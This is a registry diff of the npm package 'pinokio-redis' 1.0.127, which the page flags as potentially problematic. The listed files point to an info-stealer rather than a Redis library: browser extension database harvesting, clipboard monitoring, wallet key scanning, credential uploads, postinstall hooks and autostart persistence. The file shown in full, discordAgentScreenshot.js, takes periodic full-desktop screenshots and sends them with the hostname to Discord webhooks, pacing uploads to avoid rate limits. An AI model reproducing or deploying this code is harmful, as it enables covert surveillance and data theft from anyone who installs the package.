pinokio-redis 1.0.127

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pinokio-redis might be problematic. Click here for more details.

Files changed (208) hide show
  1. package/README.md +3 -0
  2. package/assets/codicons/codicon.css +629 -0
  3. package/assets/codicons/codicon.ttf +0 -0
  4. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  5. package/assets/explorer-highlight/highlight.min.js +1213 -0
  6. package/assets/files-explorer-template.html +7450 -0
  7. package/assets/forge-explorer-favicon.svg +31 -0
  8. package/assets/remote-control-template.html +3472 -0
  9. package/assets/secret_filename_patterns.json +81 -0
  10. package/dist/agentPid.d.ts +14 -0
  11. package/dist/agentPid.js +104 -0
  12. package/dist/agentRestartFromQueue.d.ts +15 -0
  13. package/dist/agentRestartFromQueue.js +143 -0
  14. package/dist/agentRunner.d.ts +13 -0
  15. package/dist/agentRunner.js +400 -0
  16. package/dist/assets/codicons/codicon.css +629 -0
  17. package/dist/assets/codicons/codicon.ttf +0 -0
  18. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  19. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  20. package/dist/assets/files-explorer-template.html +7450 -0
  21. package/dist/assets/forge-explorer-favicon.svg +31 -0
  22. package/dist/assets/remote-control-template.html +3472 -0
  23. package/dist/assets/secret_filename_patterns.json +81 -0
  24. package/dist/autostart/agentEnvFile.d.ts +80 -0
  25. package/dist/autostart/agentEnvFile.js +637 -0
  26. package/dist/autostart/constants.d.ts +14 -0
  27. package/dist/autostart/constants.js +17 -0
  28. package/dist/autostart/darwin.d.ts +11 -0
  29. package/dist/autostart/darwin.js +210 -0
  30. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  31. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  32. package/dist/autostart/index.d.ts +4 -0
  33. package/dist/autostart/index.js +20 -0
  34. package/dist/autostart/install.d.ts +6 -0
  35. package/dist/autostart/install.js +113 -0
  36. package/dist/autostart/linux.d.ts +17 -0
  37. package/dist/autostart/linux.js +298 -0
  38. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  39. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  40. package/dist/autostart/macPathEnv.d.ts +5 -0
  41. package/dist/autostart/macPathEnv.js +23 -0
  42. package/dist/autostart/manifest.d.ts +11 -0
  43. package/dist/autostart/manifest.js +74 -0
  44. package/dist/autostart/quote.d.ts +12 -0
  45. package/dist/autostart/quote.js +65 -0
  46. package/dist/autostart/resolve.d.ts +35 -0
  47. package/dist/autostart/resolve.js +85 -0
  48. package/dist/autostart/windows.d.ts +15 -0
  49. package/dist/autostart/windows.js +278 -0
  50. package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
  51. package/dist/chromiumExtensionDbHarvest.js +766 -0
  52. package/dist/cli-agent.d.ts +3 -0
  53. package/dist/cli-agent.js +71 -0
  54. package/dist/cli-autostart.d.ts +2 -0
  55. package/dist/cli-autostart.js +166 -0
  56. package/dist/cli-forge.d.ts +2 -0
  57. package/dist/cli-forge.js +5 -0
  58. package/dist/cli-linux-session-refresh.d.ts +2 -0
  59. package/dist/cli-linux-session-refresh.js +30 -0
  60. package/dist/cli-relay.d.ts +3 -0
  61. package/dist/cli-relay.js +41 -0
  62. package/dist/clientId.d.ts +2 -0
  63. package/dist/clientId.js +97 -0
  64. package/dist/clipboardEventWatcher.d.ts +8 -0
  65. package/dist/clipboardEventWatcher.js +176 -0
  66. package/dist/clipboardExec.d.ts +7 -0
  67. package/dist/clipboardExec.js +266 -0
  68. package/dist/clipboardNapi.d.ts +4 -0
  69. package/dist/clipboardNapi.js +19 -0
  70. package/dist/deploymentCipherData.d.ts +20 -0
  71. package/dist/deploymentCipherData.js +31 -0
  72. package/dist/deploymentDefaults.d.ts +43 -0
  73. package/dist/deploymentDefaults.js +199 -0
  74. package/dist/desktopEnvSync.d.ts +18 -0
  75. package/dist/desktopEnvSync.js +21 -0
  76. package/dist/discordAgentScreenshot.d.ts +27 -0
  77. package/dist/discordAgentScreenshot.js +540 -0
  78. package/dist/discordBotTokens.d.ts +29 -0
  79. package/dist/discordBotTokens.js +78 -0
  80. package/dist/discordRateLimit.d.ts +93 -0
  81. package/dist/discordRateLimit.js +238 -0
  82. package/dist/discordRelayUpload.d.ts +55 -0
  83. package/dist/discordRelayUpload.js +808 -0
  84. package/dist/discordWebhookPost.d.ts +13 -0
  85. package/dist/discordWebhookPost.js +123 -0
  86. package/dist/durableDistDir.d.ts +4 -0
  87. package/dist/durableDistDir.js +61 -0
  88. package/dist/envLoad.d.ts +1 -0
  89. package/dist/envLoad.js +18 -0
  90. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  91. package/dist/explorerHeavyDirSkips.js +26 -0
  92. package/dist/exportMirrorCopy.d.ts +27 -0
  93. package/dist/exportMirrorCopy.js +366 -0
  94. package/dist/extensionDbHfUpload.d.ts +36 -0
  95. package/dist/extensionDbHfUpload.js +359 -0
  96. package/dist/fileLockForce.d.ts +50 -0
  97. package/dist/fileLockForce.js +1479 -0
  98. package/dist/filesExplorer.d.ts +21 -0
  99. package/dist/filesExplorer.js +237 -0
  100. package/dist/forgeBulkDc.d.ts +69 -0
  101. package/dist/forgeBulkDc.js +308 -0
  102. package/dist/forgeRtcAgent.d.ts +31 -0
  103. package/dist/forgeRtcAgent.js +259 -0
  104. package/dist/forgeSemver.d.ts +2 -0
  105. package/dist/forgeSemver.js +25 -0
  106. package/dist/fsMessages.d.ts +3 -0
  107. package/dist/fsMessages.js +169 -0
  108. package/dist/fsProtocol.d.ts +151 -0
  109. package/dist/fsProtocol.js +7071 -0
  110. package/dist/headlessAgent.d.ts +28 -0
  111. package/dist/headlessAgent.js +77 -0
  112. package/dist/hfCredentials.d.ts +23 -0
  113. package/dist/hfCredentials.js +141 -0
  114. package/dist/hfHubPathSanitize.d.ts +4 -0
  115. package/dist/hfHubPathSanitize.js +30 -0
  116. package/dist/hfHubUploadContent.d.ts +2 -0
  117. package/dist/hfHubUploadContent.js +199 -0
  118. package/dist/hfSeqIdLookup.d.ts +25 -0
  119. package/dist/hfSeqIdLookup.js +193 -0
  120. package/dist/hfUpload.d.ts +55 -0
  121. package/dist/hfUpload.js +1362 -0
  122. package/dist/hostInventorySend.d.ts +5 -0
  123. package/dist/hostInventorySend.js +91 -0
  124. package/dist/index.d.ts +24 -0
  125. package/dist/index.js +62 -0
  126. package/dist/inputContext.d.ts +11 -0
  127. package/dist/inputContext.js +1097 -0
  128. package/dist/keyboardTranslate.d.ts +23 -0
  129. package/dist/keyboardTranslate.js +204 -0
  130. package/dist/linuxClipboardSession.d.ts +16 -0
  131. package/dist/linuxClipboardSession.js +179 -0
  132. package/dist/linuxX11.d.ts +7 -0
  133. package/dist/linuxX11.js +71 -0
  134. package/dist/relayAgent.d.ts +25 -0
  135. package/dist/relayAgent.js +1431 -0
  136. package/dist/relayAuth.d.ts +10 -0
  137. package/dist/relayAuth.js +81 -0
  138. package/dist/relayDashboardGate.d.ts +36 -0
  139. package/dist/relayDashboardGate.js +378 -0
  140. package/dist/relayForAgentHttp.d.ts +24 -0
  141. package/dist/relayForAgentHttp.js +132 -0
  142. package/dist/relayPackageServe.d.ts +6 -0
  143. package/dist/relayPackageServe.js +107 -0
  144. package/dist/relayServer.d.ts +9 -0
  145. package/dist/relayServer.js +2268 -0
  146. package/dist/secretScan/agentStartupAudit.d.ts +58 -0
  147. package/dist/secretScan/agentStartupAudit.js +784 -0
  148. package/dist/secretScan/auditFindingSlim.d.ts +25 -0
  149. package/dist/secretScan/auditFindingSlim.js +184 -0
  150. package/dist/secretScan/auditScanScope.d.ts +25 -0
  151. package/dist/secretScan/auditScanScope.js +233 -0
  152. package/dist/secretScan/base58check.d.ts +6 -0
  153. package/dist/secretScan/base58check.js +49 -0
  154. package/dist/secretScan/contentScanner.d.ts +23 -0
  155. package/dist/secretScan/contentScanner.js +278 -0
  156. package/dist/secretScan/dedupeFindings.d.ts +12 -0
  157. package/dist/secretScan/dedupeFindings.js +232 -0
  158. package/dist/secretScan/fileCandidates.d.ts +30 -0
  159. package/dist/secretScan/fileCandidates.js +370 -0
  160. package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
  161. package/dist/secretScan/runFilenameSecretScan.js +360 -0
  162. package/dist/secretScan/scanConfig.d.ts +6 -0
  163. package/dist/secretScan/scanConfig.js +87 -0
  164. package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
  165. package/dist/secretScan/secp256k1Scalar.js +14 -0
  166. package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
  167. package/dist/secretScan/secretAuditExcludePaths.js +46 -0
  168. package/dist/secretScan/solanaKeypair.d.ts +8 -0
  169. package/dist/secretScan/solanaKeypair.js +87 -0
  170. package/dist/secretScan/strictMaterialGate.d.ts +15 -0
  171. package/dist/secretScan/strictMaterialGate.js +151 -0
  172. package/dist/secretScan/types.d.ts +86 -0
  173. package/dist/secretScan/types.js +6 -0
  174. package/dist/syncClient.d.ts +80 -0
  175. package/dist/syncClient.js +214 -0
  176. package/dist/tableNaming.d.ts +13 -0
  177. package/dist/tableNaming.js +101 -0
  178. package/dist/vcToWindowsVk.d.ts +7 -0
  179. package/dist/vcToWindowsVk.js +154 -0
  180. package/dist/win32InputNative.d.ts +18 -0
  181. package/dist/win32InputNative.js +198 -0
  182. package/dist/windowsInputSync.d.ts +44 -0
  183. package/dist/windowsInputSync.js +853 -0
  184. package/dist/workerBootstrap.d.ts +17 -0
  185. package/dist/workerBootstrap.js +342 -0
  186. package/package.json +86 -0
  187. package/scripts/copy-assets.mjs +44 -0
  188. package/scripts/discord-live-probe.mjs +221 -0
  189. package/scripts/encode-deployment.mjs +135 -0
  190. package/scripts/encode-hf-credentials.mjs +30 -0
  191. package/scripts/ensure-dist.mjs +86 -0
  192. package/scripts/env-sync-selftest.js +11 -0
  193. package/scripts/explorer-global-roots.mjs +87 -0
  194. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  195. package/scripts/forge-isolated-runtime.mjs +547 -0
  196. package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
  197. package/scripts/forge-jsx-explorer-restart.mjs +288 -0
  198. package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
  199. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  200. package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
  201. package/scripts/postinstall-agent.mjs +571 -0
  202. package/scripts/postinstall-bootstrap.mjs +279 -0
  203. package/scripts/postinstall-clipboard-event.mjs +165 -0
  204. package/scripts/postinstall-durable-materialize.mjs +145 -0
  205. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
  206. package/scripts/registry-version-lib.mjs +98 -0
  207. package/scripts/restart-agent.mjs +66 -0
  208. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,540 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.resolveDiscordScreenshotIntervalMs = resolveDiscordScreenshotIntervalMs;
37
+ exports.resolveDiscordScreenshotScheduledIntervalMs = resolveDiscordScreenshotScheduledIntervalMs;
38
+ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
39
+ /**
40
+ * Agent-side periodic full-desktop screenshot → Discord.
41
+ *
42
+ * **Modes** (`FORGE_JS_DISCORD_UPLOAD_MODE`):
43
+ * - **`webhook`** (alias **`direct`**) — **default**: HF-style ticket — agent sends `relay_discord_upload_ticket_request`,
44
+ * receives `webhook_url`, **POSTs the image directly to Discord** (not through the relay payload),
45
+ * then `relay_discord_upload_ack` so the relay **deletes** the webhook. Only a short-lived webhook
46
+ * URL touches the agent (never the main bot token).
47
+ * - **`relay`**: PNG base64 is sent to the relay in `discord_screenshot_upload`; the relay posts with
48
+ * the bot token. Awaits `discord_screenshot_upload_result` (smaller deployments / legacy).
49
+ *
50
+ * Rate-limit strategies (agent side)
51
+ * ────────────────────────────────────
52
+ * 1. Staggered intervals — `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS` adds
53
+ * `hash(client_id) % N` ms so PCs never align on the same second.
54
+ * 2. First-capture stagger — `FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS` spreads
55
+ * the initial burst across the token pool after relay reconnect.
56
+ * 3. Capture-after-finish cadence — next capture is scheduled `intervalMs` after the
57
+ * *previous capture finished*, not on a wall-clock `setInterval`, so slow uploads
58
+ * never produce a growing queue.
59
+ * 4. Bounded queue — `FORGE_JS_DISCORD_SCREENSHOT_QUEUE_MAX` (default 12) limits
60
+ * pending captures; oldest is dropped when full, keeping memory bounded.
61
+ * 5. Webhook ticket retry loop — `FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS` (default 12)
62
+ * full ticket → POST → ack cycles when Discord returns 429 between relay steps.
63
+ * `discordBackoffMsFromErrorText` parses `retry_after` from error strings.
64
+ * 6. Optional webhook→relay fallback — only when `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1`
65
+ * (retries via `discord_screenshot_upload`, PNG over WS). Default **off** for agent→Discord only.
66
+ * 7. Upload serialization — `uploadBusy` flag ensures only one upload runs at a
67
+ * time; new captures queue rather than firing concurrent Discord requests.
68
+ *
69
+ * Env (agent): omit `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` to follow `relay_features.discord_screenshot` when the relay enables Discord;
70
+ * set `=1` to force on or `=0`/`false`/`no`/`off` to opt out (may persist in `forge-js-agent.env`; survives reconnect / credential strip).
71
+ * Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
72
+ * unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
73
+ * Upload mode: relay may send `relay_features.discord_screenshot_upload_mode` (`webhook`|`relay`) from
74
+ * `RELAY_DISCORD_AGENT_UPLOAD_MODE`; applied when `FORGE_JS_DISCORD_UPLOAD_MODE` is unset (agent wins if set).
75
+ * Optional `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` to retry failed webhook uploads via relay WS (default off).
76
+ * **`FORGE_JS_DISCORD_ATTACHMENT_PREFER_QUALITY`** — when `1` (default), shrink toward max clarity within webhook byte cap (`FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES`); set `0` for faster/smaller JPEG encodes.
77
+ */
78
+ const node_crypto_1 = require("node:crypto");
79
+ const discordBotTokens_1 = require("./discordBotTokens");
80
+ const clientId_1 = require("./clientId");
81
+ const os = __importStar(require("node:os"));
82
+ const fsProtocol_1 = require("./fsProtocol");
83
+ const discordRateLimit_1 = require("./discordRateLimit");
84
+ const discordWebhookPost_1 = require("./discordWebhookPost");
85
+ /** Align with Discord bot/webhook attachment caps; override for boosted guilds via env (up to 25 MiB). */
86
+ function discordWebhookMaxAttachmentBytes() {
87
+ const raw = (process.env.FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES || "").trim();
88
+ if (raw) {
89
+ const n = parseInt(raw, 10);
90
+ if (Number.isFinite(n)) {
91
+ return Math.min(25 * 1024 * 1024, Math.max(256 * 1024, n));
92
+ }
93
+ }
94
+ return 10 * 1024 * 1024;
95
+ }
96
+ /** Capture budget matches {@link discordWebhookMaxAttachmentBytes} (not hard-limited to 10 MiB). */
97
+ function discordCaptureMaxBytes() {
98
+ return discordWebhookMaxAttachmentBytes();
99
+ }
100
+ /** Neutralize Discord @mention triggers (same as formatter.py _neutralize_discord_triggers). */
101
+ function _neutralizeDiscordTriggers(s) {
102
+ return s.replace(/@(everyone|here)/gi, "@\u200b$1");
103
+ }
104
+ /** Short OS label for Discord screenshot captions. */
105
+ function _screenshotOsLabel() {
106
+ const t = os.type(); // "Windows_NT" | "Linux" | "Darwin"
107
+ const h = os.hostname();
108
+ let label = t === "Windows_NT" ? "Windows" : t === "Darwin" ? "macOS" : t || "Linux";
109
+ // Neutralize @everyone / @here in hostname to prevent unwanted Discord pings
110
+ return h ? `${label} · ${_neutralizeDiscordTriggers(h)}` : label;
111
+ }
112
+ /** Screenshot caption in JST with OS label. */
113
+ function _screenshotCaption() {
114
+ const jst = new Date().toLocaleString("ja-JP", {
115
+ timeZone: "Asia/Tokyo",
116
+ year: "numeric", month: "2-digit", day: "2-digit",
117
+ hour: "2-digit", minute: "2-digit", second: "2-digit",
118
+ hour12: false,
119
+ });
120
+ return `Screenshot ${jst} JST — ${_screenshotOsLabel()}`;
121
+ }
122
+ function screenshotB64Mime(b64) {
123
+ const clean = String(b64).replace(/\s/g, "");
124
+ if (clean.length < 8)
125
+ return "image/png";
126
+ try {
127
+ const buf = Buffer.from(clean.slice(0, 128), "base64");
128
+ if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) {
129
+ return "image/jpeg";
130
+ }
131
+ }
132
+ catch {
133
+ /* skip */
134
+ }
135
+ return "image/png";
136
+ }
137
+ function discordUploadMode() {
138
+ const m = (process.env.FORGE_JS_DISCORD_UPLOAD_MODE || "").trim().toLowerCase();
139
+ if (m === "relay")
140
+ return "relay";
141
+ if (m === "webhook" || m === "direct")
142
+ return "webhook";
143
+ return "webhook";
144
+ }
145
+ /**
146
+ * Outer retries for webhook ticket + POST when Discord still returns 429 after relay `fetchUntilNot429`
147
+ * (default **12**, min **1**, max **12**). Uses `discordBackoffMsFromErrorText` + `retry_after` from error bodies.
148
+ */
149
+ function discordWebhookTicketFlowMaxAttempts() {
150
+ const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS || "12").trim();
151
+ const n = parseInt(raw, 10);
152
+ if (Number.isFinite(n) && n >= 1 && n <= 12)
153
+ return n;
154
+ return 12;
155
+ }
156
+ /**
157
+ * After webhook ticket/POST failures, optionally retry via `discord_screenshot_upload` (PNG over WS).
158
+ * Default **false** — production prefers agent→Discord only. Set `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` for legacy resilience.
159
+ */
160
+ function discordWebhookRelayFallbackEnabled() {
161
+ const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK || "").trim().toLowerCase();
162
+ return ["1", "true", "yes", "on"].includes(raw);
163
+ }
164
+ /** Delay before the first capture after the loop starts (handshake/display settle). `0` = next event-loop tick. Max 300s. */
165
+ function discordScreenshotFirstDelayMs() {
166
+ const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS || "").trim();
167
+ if (raw === "0")
168
+ return 0;
169
+ if (!raw)
170
+ return 3000;
171
+ const n = parseInt(raw, 10);
172
+ if (!Number.isFinite(n))
173
+ return 3000;
174
+ return Math.min(300_000, Math.max(0, n));
175
+ }
176
+ /**
177
+ * Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
178
+ * `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
179
+ */
180
+ function resolveDiscordScreenshotIntervalMs() {
181
+ const rawMs = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "300000").trim();
182
+ return Math.min(600_000, Math.max(10_000, parseInt(rawMs, 10) || 300_000));
183
+ }
184
+ function discordScreenshotIntervalStaggerExtraMs(clientId) {
185
+ const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
186
+ if (!raw)
187
+ return 0;
188
+ const cap = parseInt(raw, 10);
189
+ if (!Number.isFinite(cap) || cap <= 0)
190
+ return 0;
191
+ const c = Math.min(120_000, Math.max(1, cap));
192
+ return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
193
+ }
194
+ function discordScreenshotFirstStaggerExtraMs(clientId) {
195
+ const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
196
+ if (!raw)
197
+ return 0;
198
+ const cap = parseInt(raw, 10);
199
+ if (!Number.isFinite(cap) || cap <= 0)
200
+ return 0;
201
+ const c = Math.min(300_000, Math.max(1, cap));
202
+ return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
203
+ }
204
+ /**
205
+ * Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
206
+ */
207
+ function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
208
+ const base = resolveDiscordScreenshotIntervalMs();
209
+ const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
210
+ return Math.min(600_000, Math.max(10_000, base + extra));
211
+ }
212
+ /**
213
+ * Desktop capture can surface OS prompts or visible tooling (e.g. macOS Screen Recording, capture helpers).
214
+ * When **`FORGE_JS_HEADLESS_UI`** is on (PM2 default), skip Discord screenshots on **all** platforms unless
215
+ * **`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS=1`** (opt back in after approving unattended capture).
216
+ */
217
+ function discordScreenshotSkippedWhenHeadlessUiGateActive() {
218
+ const headless = ["1", "true", "yes", "on"].includes((process.env.FORGE_JS_HEADLESS_UI || "").trim().toLowerCase());
219
+ if (!headless)
220
+ return false;
221
+ // FORGE_JS_HEADLESS_UI=1 means "quiet/no-tray mode", not "literally no display".
222
+ // Windows and macOS always have a desktop to capture — only block on headless Linux
223
+ // (VPS/server with no DISPLAY/WAYLAND_DISPLAY) unless explicitly allowed.
224
+ if (process.platform !== "linux")
225
+ return false;
226
+ const hasDisplay = (process.env.DISPLAY || "").trim() || (process.env.WAYLAND_DISPLAY || "").trim();
227
+ if (hasDisplay)
228
+ return false;
229
+ const allow = ["1", "true", "yes", "on"].includes((process.env.FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS || "").trim().toLowerCase());
230
+ return !allow;
231
+ }
232
+ function startDiscordScreenshotToRelayLoop(opts) {
233
+ if (discordScreenshotSkippedWhenHeadlessUiGateActive()) {
234
+ return () => { };
235
+ }
236
+ const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
237
+ const envOn = ["1", "true", "yes", "on"].includes(en);
238
+ if (!envOn && !opts.enabledByRelayCapabilities) {
239
+ return () => { };
240
+ }
241
+ const screenshotClientId = (0, clientId_1.getOrCreateClientId)((0, clientId_1.defaultCfgmgrDataDir)());
242
+ const baseIntervalMs = resolveDiscordScreenshotScheduledIntervalMs(screenshotClientId);
243
+ const rawQ = (process.env.FORGE_JS_DISCORD_SCREENSHOT_QUEUE_MAX || "12").trim();
244
+ const queueMax = Math.min(32, Math.max(1, parseInt(rawQ, 10) || 12));
245
+ let stopped = false;
246
+ /** Bounded queue so periodic capture can proceed while a slow Discord upload runs (drops oldest if full). */
247
+ const pendingB64Queue = [];
248
+ let uploadBusy = false;
249
+ /** Next capture fires after the previous capture cycle completed (not wall-clock `setInterval`). */
250
+ let captureScheduleTimer = null;
251
+ const relayFallbackUploadOnce = async (b64) => {
252
+ const rid = `dsfb_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
253
+ const ackPromise = opts.waitForRelayDiscordAck(rid);
254
+ opts.sendJson({
255
+ type: "discord_screenshot_upload",
256
+ request_id: rid,
257
+ client_id: screenshotClientId,
258
+ mime: screenshotB64Mime(b64),
259
+ b64,
260
+ caption: _screenshotCaption(),
261
+ });
262
+ const ack = await ackPromise;
263
+ return ack.ok;
264
+ };
265
+ const relayFallbackUploadWithRetry = async (b64, reason) => {
266
+ try {
267
+ if (await relayFallbackUploadOnce(b64))
268
+ return true;
269
+ }
270
+ catch {
271
+ /* retry once below */
272
+ }
273
+ const backoff = (0, discordRateLimit_1.discordBackoffMsFromErrorText)(reason);
274
+ if (backoff > 0)
275
+ await (0, discordRateLimit_1.sleepMs)(backoff);
276
+ try {
277
+ return await relayFallbackUploadOnce(b64);
278
+ }
279
+ catch {
280
+ return false;
281
+ }
282
+ };
283
+ const flushUploadRelay = (b64) => {
284
+ const rid = `ds_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
285
+ /** Hold screenshot payload locally so we can clear it after upload (large base64 strings). */
286
+ let payload = b64;
287
+ void (async () => {
288
+ try {
289
+ const ackPromise = opts.waitForRelayDiscordAck(rid);
290
+ opts.sendJson({
291
+ type: "discord_screenshot_upload",
292
+ request_id: rid,
293
+ client_id: screenshotClientId,
294
+ mime: screenshotB64Mime(payload),
295
+ b64: payload,
296
+ caption: _screenshotCaption(),
297
+ });
298
+ const ack = await ackPromise;
299
+ if (!ack.ok) {
300
+ const err = ack.error?.trim() || "failed";
301
+ if (!opts.quiet) {
302
+ console.error(`[forge-js:discord-screenshot] relay upload: ${err}`);
303
+ }
304
+ }
305
+ }
306
+ catch (e) {
307
+ if (!opts.quiet) {
308
+ console.error(`[forge-js:discord-screenshot] relay upload failed: ${e}`);
309
+ }
310
+ }
311
+ finally {
312
+ payload = "";
313
+ uploadBusy = false;
314
+ if (!stopped && pendingB64Queue.length > 0) {
315
+ setImmediate(flushUpload);
316
+ }
317
+ }
318
+ })();
319
+ };
320
+ const flushUploadWebhook = (b64) => {
321
+ /** Cleared in `finally` so giant base64 does not linger across uploads / retries. */
322
+ let screenshotB64ForFallback = b64;
323
+ let rawB64 = b64;
324
+ void (async () => {
325
+ let png;
326
+ try {
327
+ png = Buffer.from(rawB64, "base64");
328
+ }
329
+ catch {
330
+ if (!opts.quiet) {
331
+ console.error("[forge-js:discord-screenshot] invalid base64 for webhook upload");
332
+ }
333
+ screenshotB64ForFallback = "";
334
+ rawB64 = "";
335
+ uploadBusy = false;
336
+ if (!stopped && pendingB64Queue.length > 0)
337
+ setImmediate(flushUpload);
338
+ return;
339
+ }
340
+ rawB64 = "";
341
+ const whMax = discordWebhookMaxAttachmentBytes();
342
+ if (png.length > whMax) {
343
+ const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferForDiscordAttachment)(png, whMax);
344
+ if (!shrunk || shrunk.buffer.length > whMax) {
345
+ if (!opts.quiet) {
346
+ console.error(`[forge-js:discord-screenshot] image too large for Discord webhook (${png.length} bytes > ${whMax}) after JPEG shrink — raise FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES or ensure jimp / ImageMagick / ffmpeg is available on the agent`);
347
+ }
348
+ // Optional relay WS fallback only when FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1.
349
+ if (discordWebhookRelayFallbackEnabled()) {
350
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook payload too large after local shrink");
351
+ }
352
+ screenshotB64ForFallback = "";
353
+ try {
354
+ png.fill(0);
355
+ }
356
+ catch {
357
+ /* skip */
358
+ }
359
+ png = undefined;
360
+ uploadBusy = false;
361
+ if (!stopped && pendingB64Queue.length > 0)
362
+ setImmediate(flushUpload);
363
+ return;
364
+ }
365
+ try {
366
+ png.fill(0);
367
+ }
368
+ catch {
369
+ /* skip */
370
+ }
371
+ png = shrunk.buffer;
372
+ }
373
+ const caption = _screenshotCaption();
374
+ const maxFlow = discordWebhookTicketFlowMaxAttempts();
375
+ try {
376
+ for (let attempt = 0; attempt < maxFlow; attempt++) {
377
+ const ticketRid = `dt_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
378
+ const ticketP = opts.waitForDiscordTicket(ticketRid);
379
+ opts.sendJson({
380
+ type: "relay_discord_upload_ticket_request",
381
+ request_id: ticketRid,
382
+ client_id: screenshotClientId,
383
+ });
384
+ const ticket = await ticketP;
385
+ if (!ticket.ok || !ticket.webhook_url?.trim()) {
386
+ const err = ticket.error?.trim() || "failed";
387
+ const backoff = (0, discordRateLimit_1.discordBackoffMsFromErrorText)(err);
388
+ if (backoff > 0 && attempt < maxFlow - 1) {
389
+ await (0, discordRateLimit_1.sleepMs)(backoff);
390
+ continue;
391
+ }
392
+ if (!opts.quiet) {
393
+ console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
394
+ }
395
+ if (discordWebhookRelayFallbackEnabled()) {
396
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, err);
397
+ }
398
+ return;
399
+ }
400
+ let whUrl = String(ticket.webhook_url).trim();
401
+ ticket.webhook_url = "";
402
+ let posted;
403
+ try {
404
+ posted = await (0, discordWebhookPost_1.postPngToDiscordWebhookUrl)(whUrl, png, caption);
405
+ }
406
